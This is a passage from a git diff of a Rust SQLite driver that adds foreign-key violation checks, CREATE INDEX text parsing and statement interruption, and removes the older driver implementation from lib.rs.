SQLite names tables case-insensitively, and so does the comparison. +fn key(violation: &Violation) -> (String, Option, String) { + ( + violation.table.to_lowercase(), + violation.rowid, + violation.parent.to_lowercase(), + ) +} + +/// The error a batch that introduced violations is rolled back with, +/// in the form SQLite reports a foreign key failure itself. +pub(crate) fn violation_error(introduced: &[IntroducedViolations]) -> DriverError { + let listed: Vec = introduced + .iter() + .map(|group| { + format!( + "{} rows of {} point at missing rows of {}", + group.count, group.table, group.parent + ) + }) + .collect(); + DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::Sqlite { + primary: SQLITE_CONSTRAINT, + extended: SQLITE_CONSTRAINT_FOREIGNKEY, + }), + format!("FOREIGN KEY constraint failed: {}", listed.join("; ")), + )) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn violation(table: &str, rowid: Option, parent: &str) -> Violation { + Violation { + table: table.to_owned(), + rowid, + parent: parent.to_owned(), + } + } + + #[test] + fn introduced_violations_ignore_baseline_rows_across_rename() { + let before = vec![ + violation("orders_old", Some(7), "people"), + violation("lines", Some(1), "orders_old"), + ]; + let renames = HashMap::from([("orders_old".to_owned(), "orders".to_owned())]); + let after = vec![ + violation("orders", Some(7), "people"), + violation("lines", Some(1), "orders"), + violation("lines", Some(2), "orders"), + ]; + + let introduced = introduced(&renamed(before, &renames), &after); + + assert_eq!( + introduced, + [IntroducedViolations { + table: "lines".to_owned(), + parent: "orders".to_owned(), + count: 1 + }] + ); + } + + #[test] + fn without_rowid_violations_compare_by_count() { + let before = vec![violation("tags", None, "posts"), violation("tags", None, "posts")]; + let same = before.clone(); + let more = vec![ + violation("tags", None, "posts"), + violation("Tags", None, "Posts"), + violation("tags", None, "posts"), + ]; + + assert!(introduced(&before, &same).is_empty()); + assert_eq!(introduced(&before, &more).len(), 1); + assert_eq!(introduced(&before, &more)[0].count, 1); + } + + #[test] + fn the_error_reads_as_a_sqlite_foreign_key_failure() { + let error = violation_error(&[IntroducedViolations { + table: "lines".to_owned(), + parent: "orders".to_owned(), + count: 2, + }]); + + let DriverError::Server(diagnostics) = &error else { + panic!("not a server error: {error:?}"); + }; + assert_eq!( + diagnostics.code, + Some(ServerCode::Sqlite { + primary: 19, + extended: 787 + }) + ); + assert!( + diagnostics.message.contains("2 rows of lines"), + "{}", + diagnostics.message + ); + } +} diff --git a/linux/crates/drivers/sqlite/src/index_sql.rs b/linux/crates/drivers/sqlite/src/index_sql.rs new file mode 100644 index 0000000000..cf384bde75 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/index_sql.rs @@ -0,0 +1,302 @@ +//! The expression keys and the WHERE clause of an index, read from the +//! CREATE INDEX that SQLite stored for it. +//! +//! sqlparser parses the statement, which settles how many keys there +//! are and whether one has a sort order or the index a predicate. The +//! text of each comes from sqlparser's own token stream rather than +//! from the AST's spans: in sqlparser 0.63 a function call's span stops +//! before its closing parenthesis and a parenthesised expression's +//! span skips its parentheses, so a span slice would cut keys short. +//! The tokens carry exact positions, and quotes, brackets and comments +//! are already single tokens there, so the top-level commas are the +//! only places a key list can split. Where the tokens and the AST do +//! not line up, the AST's own rendering of the expression is used. + +use std::ops::Range; + +use sqlparser::ast::{CreateIndex, OrderBySort, Statement}; +use sqlparser::dialect::SQLiteDialect; +use sqlparser::keywords::Keyword; +use sqlparser::parser::Parser; +use sqlparser::tokenizer::{Location, Token, Tokenizer}; + +/// What an index's stored SQL says beyond the pragmas. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct IndexSql { + /// One entry per key, in key order: the key as written, without its + /// ASC or DESC. + pub keys: Vec, + pub predicate: Option, +} + +/// Read a CREATE INDEX. `None` when it does not parse as exactly one. +pub(crate) fn read_index_sql(sql: &str) -> Option { + let dialect = SQLiteDialect {}; + let mut statements = Parser::parse_sql(&dialect, sql).ok()?; + let Some(Statement::CreateIndex(index)) = statements.pop() else { + return None; + }; + if !statements.is_empty() { + return None; + } + let tokens = SourceTokens::read(&dialect, sql); + let cut = tokens.as_ref().and_then(|tokens| tokens.cut(&index)); + Some(texts(&index, cut)) +} + +fn texts(index: &CreateIndex, cut: Option) -> IndexSql { + let Cut { keys, predicate } = cut.unwrap_or_default(); + let aligned = keys.len() == index.columns.len(); + IndexSql { + keys: index + .columns + .iter() + .enumerate() + .map(|(position, column)| match keys.get(position) { + Some(text) if aligned => text.clone(), + _ => column.column.expr.to_string(), + }) + .collect(), + predicate: index + .predicate + .as_ref() + .map(|expression| predicate.unwrap_or_else(|| expression.to_string())), + } +} + +/// The key texts and the predicate text the tokens gave. +#[derive(Debug, Default)] +struct Cut { + keys: Vec, + predicate: Option, +} + +/// The statement's tokens, each with the bytes of the text it came +/// from. +struct SourceTokens<'a> { + sql: &'a str, + tokens: Vec<(Token, Range)>, +} + +impl<'a> SourceTokens<'a> { + fn read(dialect: &SQLiteDialect, sql: &'a str) -> Option { + let lines = LineStarts::new(sql); + let tokens = Tokenizer::new(dialect, sql) + .tokenize_with_location() + .ok()? + .into_iter() + .map(|token| { + let start = lines.byte(token.span.start)?; + let end = lines.byte(token.span.end)?; + Some((token.token, start..end)) + }) + .collect::>>()?; + Some(Self { sql, tokens }) + } + + fn cut(&self, index: &CreateIndex) -> Option { + let open = self.key_list_open()?; + let (segments, close) = self.segments(open)?; + let keys = segments + .into_iter() + .zip(&index.columns) + .map(|(segment, column)| { + let sorted = matches!(column.column.options.sort, Some(OrderBySort::Asc | OrderBySort::Desc)); + self.key_text(segment, sorted) + }) + .collect::>>()?; + Some(Cut { + keys, + predicate: self.predicate(close), + }) + } + + /// The parenthesis after ON that opens the key list. + fn key_list_open(&self) -> Option { + let mut after_on = false; + let mut depth = 0usize; + for (position, (token, _)) in self.tokens.iter().enumerate() { + match token { + Token::Word(word) if depth == 0 && word.keyword == Keyword::ON => after_on = true, + Token::LParen if depth == 0 && after_on => return Some(position), + Token::LParen => depth += 1, + Token::RParen => depth = depth.saturating_sub(1), + _ => {} + } + } + None + } + + /// The token ranges between the key list's top-level commas, and the + /// position of the parenthesis that closes it. + fn segments(&self, open: usize) -> Option<(Vec>, usize)> { + let mut segments = Vec::new(); + let mut start = open + 1; + let mut depth = 0usize; + for (position, (token, _)) in self.tokens.iter().enumerate().skip(open + 1) { + match token { + Token::LParen => depth += 1, + Token::RParen if depth == 0 => { + segments.push(start..position); + return Some((segments, position)); + } + Token::RParen => depth -= 1, + Token::Comma if depth == 0 => { + segments.push(start..position); + start = position + 1; + } + _ => {} + } + } + None + } + + fn key_text(&self, segment: Range, sorted: bool) -> Option { + let mut segment = self.trimmed(segment); + if sorted { + let last = segment.end.checked_sub(1)?; + let ordering = matches!( + self.tokens.get(last), + Some((Token::Word(word), _)) if matches!(word.keyword, Keyword::ASC | Keyword::DESC) + ); + if ordering { + segment = self.trimmed(segment.start..last); + } + } + self.text(segment) + } + + /// Everything after a top-level WHERE that follows the key list, up + /// to a closing semicolon. + fn predicate(&self, close: usize) -> Option { + let start = self + .tokens + .iter() + .enumerate() + .skip(close + 1) + .find_map(|(position, (token, _))| { + matches!(token, Token::Word(word) if word.keyword == Keyword::WHERE).then_some(position + 1) + })?; + let end = self + .tokens + .iter() + .enumerate() + .skip(start) + .find_map(|(position, (token, _))| matches!(token, Token::SemiColon).then_some(position)) + .unwrap_or(self.tokens.len()); + self.text(self.trimmed(start..end)) + } + + /// The range without the whitespace and comments at either end. + fn trimmed(&self, mut range: Range) -> Range { + while range.start < range.end && self.is_trivia(range.start) { + range.start += 1; + } + while range.end > range.start && self.is_trivia(range.end - 1) { + range.end -= 1; + } + range + } + + fn is_trivia(&self, position: usize) -> bool { + matches!(self.tokens.get(position), Some((Token::Whitespace(_), _))) + } + + fn text(&self, range: Range) -> Option { + if range.is_empty() { + return None; + } + let start = self.tokens.get(range.start)?.1.start; + let end = self.tokens.get(range.end - 1)?.1.end; + self.sql.get(start..end).map(str::to_owned) + } +} + +/// Byte offsets for the tokenizer's line and column locations, which +/// count characters from 1. +struct LineStarts<'a> { + text: &'a str, + starts: Vec, +} + +impl<'a> LineStarts<'a> { + fn new(text: &'a str) -> Self { + let starts = std::iter::once(0) + .chain(text.match_indices('\n').map(|(newline, _)| newline + 1)) + .collect(); + Self { text, starts } + } + + fn byte(&self, location: Location) -> Option { + let line = usize::try_from(location.line).ok()?.checked_sub(1)?; + let column = usize::try_from(location.column).ok()?.checked_sub(1)?; + let start = *self.starts.get(line)?; + let rest = self.text.get(start..)?; + match rest.char_indices().nth(column) { + Some((offset, _)) => Some(start + offset), + None if rest.chars().count() == column => Some(self.text.len()), + None => None, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn key_list_keeps_quotes_brackets_and_comments_inside_keys() { + let sql = "CREATE INDEX i ON t (lower(\"a,b\"), [c,d] DESC, f(x /* , */, 'y,z'), (g + 1) * 2 ASC)"; + + let read = read_index_sql(sql).unwrap(); + + assert_eq!( + read.keys, + ["lower(\"a,b\")", "[c,d]", "f(x /* , */, 'y,z')", "(g + 1) * 2"] + ); + assert_eq!(read.predicate, None); + } + + #[test] + fn where_tail_is_predicate() { + let sql = "CREATE INDEX i ON t (substr(a, 1, 3), \"b,c\" DESC) WHERE a <> 'x,y' AND (b > 0)"; + + let read = read_index_sql(sql).unwrap(); + + assert_eq!(read.keys, ["substr(a, 1, 3)", "\"b,c\""]); + assert_eq!(read.predicate.as_deref(), Some("a <> 'x,y' AND (b > 0)")); + } + + #[test] + fn keys_on_later_lines_keep_their_text() { + let sql = "CREATE UNIQUE INDEX IF NOT EXISTS \"é\" ON \"t\"(\n upper(name),\n id\n)\nWHERE id > 0"; + + let read = read_index_sql(sql).unwrap(); + + assert_eq!(read.keys, ["upper(name)", "id"]); + assert_eq!(read.predicate.as_deref(), Some("id > 0")); + } + + #[test] + fn keys_fall_back_to_the_parsed_expression_when_the_tokens_do_not_line_up() { + let parsed = Parser::parse_sql(&SQLiteDialect {}, "CREATE INDEX i ON t (lower( a ), b) WHERE b > 1").unwrap(); + let Some(Statement::CreateIndex(index)) = parsed.into_iter().next() else { + panic!("not a CREATE INDEX"); + }; + let short = Cut { + keys: vec!["only one".to_owned()], + predicate: None, + }; + + let read = texts(&index, Some(short)); + + assert_eq!(read.keys, ["lower(a)", "b"]); + assert_eq!(read.predicate.as_deref(), Some("b > 1")); + } + + #[test] + fn something_other_than_create_index_is_not_read() { + assert_eq!(read_index_sql("CREATE TABLE t (a)"), None); + assert_eq!(read_index_sql("not sql at all"), None); + } +} diff --git a/linux/crates/drivers/sqlite/src/interrupt.rs b/linux/crates/drivers/sqlite/src/interrupt.rs new file mode 100644 index 0000000000..21724b8c22 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/interrupt.rs @@ -0,0 +1,80 @@ +//! Stopping a statement SQLite is running. +//! +//! The progress handler is the only way in. `lock_handle` waits for the +//! worker thread to finish its current command, so `sqlite3_interrupt` +//! through it would arrive only once the statement it was meant to stop +//! had ended. The handler runs on the worker thread itself, between +//! virtual machine instructions, and stops the statement when the call +//! has raised its flag. + +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use async_trait::async_trait; +use sqlx::sqlite::SqliteConnection as SqlxConnection; +use tablepro_core::{DriverError, EngineStop, StopDelivery, StopScope}; + +use crate::errors::{is_interrupt, map_error}; + +/// How many virtual machine instructions run between two looks at the +/// flag: often enough that a stop lands within milliseconds, rarely +/// enough to cost nothing measurable. +const INSTRUCTIONS_PER_CHECK: i32 = 1000; + +/// One call's stop. Each call installs a fresh one, so a stop that +/// arrives late can never reach the next call on the connection. +#[derive(Debug, Clone, Default)] +pub(crate) struct InterruptFlag(Arc); + +impl InterruptFlag { + pub(crate) fn new() -> Self { + Self::default() + } + + pub(crate) fn raise(&self) { + self.0.store(true, Ordering::SeqCst); + } + + /// Let the statements that clean up after a stop run: a rollback + /// must not be interrupted by the stop that caused it. + pub(crate) fn lower(&self) { + self.0.store(false, Ordering::SeqCst); + } + + /// Make this flag the one the connection's statements answer to. + pub(crate) async fn install(&self, connection: &mut SqlxConnection) -> Result<(), DriverError> { + let flag = self.0.clone(); + let mut handle = connection.lock_handle().await.map_err(map_error)?; + handle.set_progress_handler(INSTRUCTIONS_PER_CHECK, move || !flag.load(Ordering::Relaxed)); + Ok(()) + } +} + +/// The stop `OwnedCalls` sends: raise the call's flag. It names the +/// call, not the connection, so nothing can arrive late. +#[derive(Debug)] +pub(crate) struct SqliteStop { + flag: InterruptFlag, +} + +impl SqliteStop { + pub(crate) fn new(flag: InterruptFlag) -> Self { + Self { flag } + } +} + +#[async_trait] +impl EngineStop for SqliteStop { + fn delivery(&self) -> StopDelivery { + StopDelivery::OutOfBand(StopScope::Statement) + } + + async fn stop(&self) -> Result<(), DriverError> { + self.flag.raise(); + Ok(()) + } + + fn acknowledged(&self, error: &DriverError) -> bool { + is_interrupt(error) || matches!(error, DriverError::RolledBack { source, .. } if is_interrupt(source)) + } +} diff --git a/linux/crates/drivers/sqlite/src/lib.rs b/linux/crates/drivers/sqlite/src/lib.rs index 042b271ae8..f78ce9a67b 100644 --- a/linux/crates/drivers/sqlite/src/lib.rs +++ b/linux/crates/drivers/sqlite/src/lib.rs @@ -1,785 +1,28 @@ -use std::str::FromStr; -use std::time::Duration; - -use async_trait::async_trait; -use sqlx::sqlite::{SqliteConnectOptions, SqlitePoolOptions, SqliteRow}; -use sqlx::{AssertSqlSafe, Column, Pool, Row, Sqlite, TypeInfo, ValueRef}; - -use futures::stream::StreamExt; - -use tablepro_core::column::{ - CatalogType, ColumnDefault, ColumnType, ReadForm, ResultColumn, SqlExpression, SqlTypeExpr, classify_type_name, - has_dynamic_storage, -}; -use tablepro_core::value::{SqlTime, Temporal}; -use tablepro_core::{ - ColumnInfo, ConnectOptions, Connection, DatabaseDriver, DriverError, ExecResult, ForeignKeyInfo, IndexInfo, - LossPhase, MAX_QUERY_ROWS, QueryResult, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TableInfo, Value, -}; - -pub struct SqliteDriver; - -#[async_trait] -impl DatabaseDriver for SqliteDriver { - fn id(&self) -> &'static str { - "sqlite" - } - - fn display_name(&self) -> &'static str { - "SQLite" - } - - fn default_port(&self) -> u16 { - 0 - } - - fn is_file_based(&self) -> bool { - true - } - - fn ddl_is_transactional(&self) -> bool { - true - } - - async fn connect(&self, opts: ConnectOptions) -> Result, DriverError> { - let url = if opts.database.is_empty() || opts.database == ":memory:" { - "sqlite::memory:".to_string() - } else { - format!("sqlite:{}", opts.database) - }; - let path = std::path::PathBuf::from(&opts.database); - let connect_opts = SqliteConnectOptions::from_str(&url) - .map_err(|error| map_file_error(error, &path))? - .create_if_missing(true); - let pool = SqlitePoolOptions::new() - .max_connections(4) - .acquire_timeout(Duration::from_secs(5)) - .connect_with(connect_opts) - .await - .map_err(|error| map_file_error(error, &path))?; - Ok(Box::new(SqliteConnection { pool })) - } -} - -struct SqliteConnection { - pool: Pool, -} - -#[async_trait] -impl Connection for SqliteConnection { - async fn list_tables(&self) -> Result, DriverError> { - let rows = sqlx::query( - "SELECT name FROM sqlite_master - WHERE type = 'table' AND name NOT LIKE 'sqlite_%' - ORDER BY name", - ) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| TableInfo { - schema: None, - name: r.get::(0), - }) - .collect()) - } - - async fn fetch_columns(&self, _schema: Option<&str>, table: &str) -> Result, DriverError> { - // PRAGMA table_xinfo includes the `hidden` column which we use - // to detect virtual / generated columns. Falls back to - // table_info on older SQLite (< 3.37) — both have the same - // first 6 columns: cid, name, type, notnull, dflt_value, pk. - let pragma_sql = format!("PRAGMA table_xinfo({})", quote_ident(table)); - let rows = sqlx::query(AssertSqlSafe(pragma_sql)) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - - // AUTOINCREMENT detection: `sqlite_sequence` is the canonical - // signal. SQLite creates a row in that table for every table - // declared with AUTOINCREMENT and updates it on each insert. - // The query may fail (table doesn't exist when no AUTOINCREMENT - // table has ever existed in the database); we treat any error - // as "not autoincrement" rather than propagating. - // - // The previous implementation substring-matched the CREATE - // TABLE DDL for "AUTOINCREMENT", which mis-flagged columns - // whose names contained that token, comments mentioning the - // keyword, or unrelated parts of the schema. - let table_has_autoincrement = - sqlx::query_scalar::<_, String>("SELECT name FROM sqlite_sequence WHERE name = ?") - .bind(table) - .fetch_optional(&self.pool) - .await - .ok() - .flatten() - .is_some(); - - // Single-column PK detection: only a single-column INTEGER PK - // is a rowid alias and auto-fills. Composite PKs (each member - // reports `pk > 0`) never auto-increment, even if a member is - // INTEGER. - let pk_count = rows.iter().filter(|r| r.get::(5) > 0).count(); - let single_col_pk = pk_count == 1; - - Ok(rows - .into_iter() - .map(|r| { - let name: String = r.get(1); - let data_type: String = r.get(2); - let primary_key = r.get::(5) > 0; - let dflt: Option = r.try_get::, _>(4).unwrap_or(None); - let hidden: i64 = r.try_get::(6).unwrap_or(0); - // hidden=2 → STORED generated; hidden=3 → VIRTUAL generated. - let is_generated = hidden == 2 || hidden == 3; - let is_int_type = data_type.eq_ignore_ascii_case("INTEGER"); - // INTEGER PRIMARY KEY (with or without AUTOINCREMENT) - // is a rowid alias that auto-fills on insert when no - // explicit default is set. The strict AUTOINCREMENT - // form additionally guarantees monotonic ids via - // sqlite_sequence; both behave the same to the inline- - // insert UI. - let is_auto_increment = - primary_key && is_int_type && single_col_pk && (table_has_autoincrement || dflt.is_none()); - let default = match dflt.map(normalize_default_value) { - Some(text) => ColumnDefault::Expression(SqlExpression::from_catalog_text(text)), - None => ColumnDefault::None, - }; - ColumnInfo { - name, - column_type: column_type_of(&data_type), - nullable: r.get::(3) == 0, - primary_key, - is_auto_increment, - is_generated, - default, - // SQLite keeps no column descriptions. A comment in - // the CREATE TABLE text is discarded by the parser, - // so there is nothing to read back. - comment: None, - } - }) - .collect()) - } - - async fn fetch_rows( - &self, - _schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, - ) -> Result { - let sql = format!("SELECT * FROM {} LIMIT {limit} OFFSET {offset}", quote_ident(table)); - stream_into_result(&self.pool, &sql, limit as usize).await - } - - async fn query(&self, sql: &str) -> Result { - stream_into_result(&self.pool, sql, MAX_QUERY_ROWS).await - } - - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - let q = bind_sqlite_params(sqlx::query(AssertSqlSafe(sql)), params); - let mut stream = q.fetch(&self.pool); - let mut collected: Vec = Vec::new(); - let mut truncated = false; - while let Some(row_result) = stream.next().await { - let row = row_result.map_err(map_sqlx_error)?; - if collected.len() >= MAX_QUERY_ROWS { - truncated = true; - break; - } - collected.push(row); - } - if collected.is_empty() { - return Ok(QueryResult::empty().truncated(truncated)); - } - let columns: Vec = collected[0] - .columns() - .iter() - .map(|c| ResultColumn::new(c.name(), column_type_of(c.type_info().name()))) - .collect(); - let width = columns.len(); - let data: Vec> = collected - .iter() - .map(|r| (0..width).map(|i| extract_value(r, i)).collect()) - .collect(); - Ok(QueryResult::new(columns, data).truncated(truncated)) - } - - async fn execute(&self, sql: &str) -> Result { - let res = sqlx::query(AssertSqlSafe(sql)) - .execute(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(ExecResult { - rows_affected: res.rows_affected(), - }) - } - - async fn execute_params(&self, sql: &str, params: &[Value]) -> Result { - let q = bind_sqlite_params(sqlx::query(AssertSqlSafe(sql)), params); - let res = q.execute(&self.pool).await.map_err(map_sqlx_error)?; - Ok(ExecResult { - rows_affected: res.rows_affected(), - }) - } - - async fn execute_in_transaction(&self, statements: &[(String, Vec)]) -> Result, DriverError> { - let mut tx = self.pool.begin().await.map_err(map_sqlx_error)?; - let mut affected = Vec::with_capacity(statements.len()); - for (idx, (sql, params)) in statements.iter().enumerate() { - let q = bind_sqlite_params(sqlx::query(AssertSqlSafe(sql.as_str())), params); - match q.execute(&mut *tx).await { - Ok(res) => affected.push(res.rows_affected()), - Err(e) => { - let _ = tx.rollback().await; - return Err(DriverError::RolledBack { - statement_index: idx, - source: Box::new(map_sqlx_error(e)), - }); - } - } - } - tx.commit().await.map_err(map_sqlx_error)?; - Ok(affected) - } - - async fn fetch_indexes(&self, _schema: Option<&str>, table: &str) -> Result, DriverError> { - // SQLite catalog access is via PRAGMAs — they're scoped to the - // current database file (no schema parameter needed). For each - // entry from index_list we issue an index_info to get column - // ordering. PK index doesn't always show up in index_list (a - // bare INTEGER PRIMARY KEY uses the rowid alias, no real - // index), so we synthesise one from table_info if missing. - let list = sqlx::query(AssertSqlSafe(format!("PRAGMA index_list({})", quote_ident(table)))) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - let mut out: Vec = Vec::with_capacity(list.len()); - let mut saw_primary = false; - for r in list { - let name: String = r.try_get(1).map_err(map_sqlx_error)?; - let unique: i64 = r.try_get(2).unwrap_or(0); - let origin: String = r.try_get(3).unwrap_or_default(); - let primary = origin == "pk"; - if primary { - saw_primary = true; - } - let info_rows = sqlx::query(AssertSqlSafe(format!("PRAGMA index_info({})", quote_ident(&name)))) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - let columns: Vec = info_rows - .into_iter() - .map(|c| c.try_get::(2).unwrap_or_default()) - .collect(); - out.push(IndexInfo { - name, - columns, - unique: unique == 1, - primary, - }); - } - if !saw_primary { - // Synthesise the implicit PK index from PRAGMA table_info - // so the UI can render PK columns even when SQLite chose - // the rowid-alias path. - let table_info = sqlx::query(AssertSqlSafe(format!("PRAGMA table_info({})", quote_ident(table)))) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - let pk_cols: Vec = table_info - .into_iter() - .filter(|r| r.try_get::(5).unwrap_or(0) > 0) - .map(|r| r.try_get::(1).unwrap_or_default()) - .collect(); - if !pk_cols.is_empty() { - out.push(IndexInfo { - name: "PRIMARY".into(), - columns: pk_cols, - unique: true, - primary: true, - }); - } - } - Ok(out) - } - - async fn fetch_foreign_keys(&self, _schema: Option<&str>, table: &str) -> Result, DriverError> { - // PRAGMA foreign_key_list returns one row per (constraint, ordinal) - // grouped by the synthetic `id` field. Constraint names aren't - // stored by SQLite, so we synthesise "fk_{table}_{id}" — stable - // across re-runs of the same schema. Group by id and build - // ForeignKeyInfo. - let rows = sqlx::query(AssertSqlSafe(format!( - "PRAGMA foreign_key_list({})", - quote_ident(table) - ))) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - let mut by_id: std::collections::BTreeMap = std::collections::BTreeMap::new(); - for r in rows { - let id: i64 = r.try_get(0).unwrap_or(0); - let ref_table: String = r.try_get(2).unwrap_or_default(); - let from_col: String = r.try_get(3).unwrap_or_default(); - let to_col: String = r.try_get(4).unwrap_or_default(); - let on_update: String = r.try_get(5).unwrap_or_default(); - let on_delete: String = r.try_get(6).unwrap_or_default(); - let entry = by_id.entry(id).or_insert_with(|| ForeignKeyInfo { - name: format!("fk_{table}_{id}"), - columns: Vec::new(), - ref_schema: None, - ref_table, - ref_columns: Vec::new(), - on_delete: Some(on_delete.clone()).filter(|s| !s.is_empty() && s != "NO ACTION"), - on_update: Some(on_update.clone()).filter(|s| !s.is_empty() && s != "NO ACTION"), - }); - entry.columns.push(from_col); - entry.ref_columns.push(to_col); - } - Ok(by_id.into_values().collect()) - } - - async fn ping(&self) -> Result<(), DriverError> { - sqlx::query("SELECT 1") - .execute(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(()) - } - - async fn close(self: Box) -> Result<(), DriverError> { - self.pool.close().await; - Ok(()) - } -} - -async fn stream_into_result(pool: &Pool, sql: &str, limit: usize) -> Result { - let mut stream = sqlx::query(AssertSqlSafe(sql)).fetch(pool); - let mut collected: Vec = Vec::new(); - let mut truncated = false; - while let Some(row_result) = stream.next().await { - let row = row_result.map_err(map_sqlx_error)?; - if collected.len() >= limit { - truncated = true; - break; - } - collected.push(row); - } - if collected.is_empty() { - return Ok(QueryResult::empty().truncated(truncated)); - } - let columns: Vec = collected[0] - .columns() - .iter() - .map(|c| ResultColumn::new(c.name(), column_type_of(c.type_info().name()))) - .collect(); - let width = columns.len(); - let data: Vec> = collected - .iter() - .map(|r| (0..width).map(|i| extract_value(r, i)).collect()) - .collect(); - Ok(QueryResult::new(columns, data).truncated(truncated)) -} - -fn extract_value(row: &SqliteRow, idx: usize) -> Value { - let declared = row.columns()[idx].type_info().name().to_ascii_uppercase(); - let storage = match row.try_get_raw(idx) { - Ok(raw) => raw.type_info().name().to_ascii_uppercase(), - Err(_) => return undecodable(&declared), - }; - // SQLite keeps the storage class of the value, not of the column, - // so an INTEGER column holding text reads as the text it holds. - match storage.as_str() { - "NULL" => Value::Null, - "INTEGER" => decode(row, idx, &declared, |v: i64| { - Some(match (declared.as_str(), v) { - ("BOOLEAN", 0) => Value::Bool(false), - ("BOOLEAN", 1) => Value::Bool(true), - _ => Value::Int(v), - }) - }), - "REAL" => decode(row, idx, &declared, |v: f64| Some(Value::Float64(v))), - "BLOB" => decode(row, idx, &declared, |v: Vec| Some(Value::Bytes(v))), - _ => match declared.as_str() { - "DATE" => temporal_cell(row, idx, &declared, |v: chrono::NaiveDate| { - Value::Date(Temporal::Finite(v)) - }), - "TIME" => temporal_cell(row, idx, &declared, |v: chrono::NaiveTime| { - Value::Time(SqlTime::from_time_of_day(v)) - }), - "DATETIME" | "TIMESTAMP" => temporal_cell(row, idx, &declared, |v: chrono::NaiveDateTime| { - Value::Timestamp(Temporal::Finite(v)) - }), - _ => text_cell(row, idx, &declared), - }, - } -} - -/// Read one cell, keeping three outcomes apart: a real NULL, a value -/// the driver read, and one it could not read. A type with no decoder -/// says so rather than reading as an empty cell the user would take -/// for a NULL. -fn decode<'r, T, F>(row: &'r SqliteRow, idx: usize, type_name: &str, into_value: F) -> Value -where - T: sqlx::Decode<'r, Sqlite> + sqlx::Type, - F: FnOnce(T) -> Option, -{ - match row.try_get::, _>(idx) { - Ok(Some(raw)) => into_value(raw).unwrap_or_else(|| undecodable(type_name)), - Ok(None) => Value::Null, - Err(_) => undecodable(type_name), - } -} - -/// SQLite stores a date as whatever text was written, so a value that -/// is not one keeps the text it holds. -fn temporal_cell<'r, T, F>(row: &'r SqliteRow, idx: usize, type_name: &str, into_value: F) -> Value -where - T: sqlx::Decode<'r, Sqlite> + sqlx::Type, - F: FnOnce(T) -> Value, -{ - match row.try_get::(idx) { - Ok(value) => into_value(value), - Err(_) => text_cell(row, idx, type_name), - } -} - -fn text_cell(row: &SqliteRow, idx: usize, type_name: &str) -> Value { - decode(row, idx, type_name, |v: String| Some(Value::Text(v))) -} - -/// A value the driver could not read, so the grid says so rather than -/// showing an empty cell that looks like a NULL. -fn undecodable(type_name: &str) -> Value { - Value::Undecodable(Box::new(tablepro_core::value::UndecodedValue { - type_name: type_name.to_owned(), - reason: tablepro_core::value::UndecodableReason::UnsupportedType, - })) -} - -/// A column type from the name the catalogue gave, classified by the -/// shared rules. The engine's own spelling is kept for DDL. -fn column_type_of(type_name: &str) -> ColumnType { - let kind = classify_type_name(type_name); - ColumnType::new( - SqlTypeExpr::from_catalog_text(type_name), - kind, - CatalogType::Named(SqlTypeExpr::from_catalog_text(type_name)), - has_dynamic_storage(kind), - ReadForm::Native, - ) -} - -fn bind_sqlite_params<'q>( - mut q: sqlx::query::Query<'q, Sqlite, sqlx::sqlite::SqliteArguments>, - params: &'q [Value], -) -> sqlx::query::Query<'q, Sqlite, sqlx::sqlite::SqliteArguments> { - for p in params { - q = match p { - Value::Null => q.bind(Option::<&str>::None), - Value::Bool(b) => q.bind(*b), - Value::Int(i) => q.bind(*i), - // SQLite has no unsigned integer, so anything past i64 - // binds as text rather than wrapping into a negative. - Value::UInt(i) => match i64::try_from(*i) { - Ok(value) => q.bind(value), - Err(_) => q.bind(i.to_string()), - }, - Value::Float32(f) => q.bind(f64::from(*f)), - Value::Float64(f) => q.bind(*f), - Value::Text(s) => q.bind(s.clone()), - Value::Bytes(b) => q.bind(b.clone()), - Value::Date(Temporal::Finite(d)) => q.bind(*d), - Value::Timestamp(Temporal::Finite(t)) => q.bind(*t), - Value::Uuid(u) => q.bind(u.to_string()), - Value::Json(j) => q.bind(j.as_str().to_owned()), - // Everything else is stored as the text SQLite would have - // written anyway, which is what its dynamic typing does. - other => match tablepro_core::export::value_to_text(other) { - Some(text) => q.bind(text), - None => q.bind(Option::<&str>::None), - }, - }; - } - q -} - -fn quote_ident(name: &str) -> String { - format!("\"{}\"", name.replace('"', "\"\"")) -} - -/// Normalize the `default_value` text returned by `pragma_table_xinfo`. -/// SQLite stores string defaults with the surrounding apostrophes -/// (`'pending'` literal in the dflt_value column); other drivers return -/// the raw expression. Strip a single matched pair of outer single -/// quotes so the value reads as the user would type it. Numeric and -/// expression defaults (e.g. `CURRENT_TIMESTAMP`) are returned -/// unchanged. -fn normalize_default_value(raw: String) -> String { - let bytes = raw.as_bytes(); - if bytes.len() >= 2 && bytes[0] == b'\'' && bytes[bytes.len() - 1] == b'\'' { - // SQLite escapes embedded apostrophes by doubling them; collapse. - let inner = &raw[1..raw.len() - 1]; - return inner.replace("''", "'"); - } - raw -} - -/// A failure while opening the database, where the file itself is -/// usually the answer. -fn map_file_error(err: sqlx::Error, path: &std::path::Path) -> DriverError { - let sqlite = match &err { - sqlx::Error::Database(error) => error.try_downcast_ref::(), - _ => None, - }; - match sqlite.map(primary_code) { - Some(SQLITE_CANTOPEN) => DriverError::FileAccessDenied { - path: path.to_path_buf(), - }, - Some(SQLITE_NOTADB) => DriverError::NotADatabase { - path: path.to_path_buf(), - }, - _ => map_sqlx_error(err), - } -} - -fn map_sqlx_error(err: sqlx::Error) -> DriverError { - match err { - sqlx::Error::Database(error) => match error.try_downcast_ref::() { - Some(sqlite) => server_error(sqlite), - None => DriverError::server(error.message().to_owned()), - }, - 